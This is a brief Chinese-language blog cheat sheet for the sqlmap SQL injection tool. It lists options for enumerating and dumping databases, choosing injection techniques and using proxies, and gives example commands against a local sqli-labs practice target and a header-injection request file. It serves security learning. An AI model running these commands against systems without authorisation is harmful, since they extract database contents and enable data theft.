一覽：
查看幫助：sqlmap -h
指定url: -u /--url
--batch 使用默認配置
-m 指定檔案
-D 指定資料庫
-T 指定表
-C 指定欄位
-dbs 探測資料庫
--tables 探測資料庫表名
--columns 探測欄位名
--user 探測資料庫用戶名
-r 指定http請求檔案
--level2 指定探測級別
--technique=B 檢測sql注入的型別
B:布爾盲注
E:報錯注入
U:聯合查詢注入
S:注冊表相關注入
T:時間盲注
--dump #轉儲獲取到的資料庫資訊，
--proxy 指定代理
--proxy-file 指定代理檔案
舉例：
列一（對單個）：
命令：
sqlmap -u 'http://192.168.10.183/sqli-labs/Less-1/?id=1' --dbs --batch
列二（從檔案中讀取）：
命令：
sqlmap -m csdnsql.txt --dbs --batch
列三（http頭注入）：
注：將http頭放在一個txt檔案里，想測驗那個地方就在那個地方放‘*’
列：
命令：
sqlmap -r http_1.txt --dbs --batch
轉載請註明出處，本文鏈接：https://www.uj5u.com/qita/376959.html
標籤：其他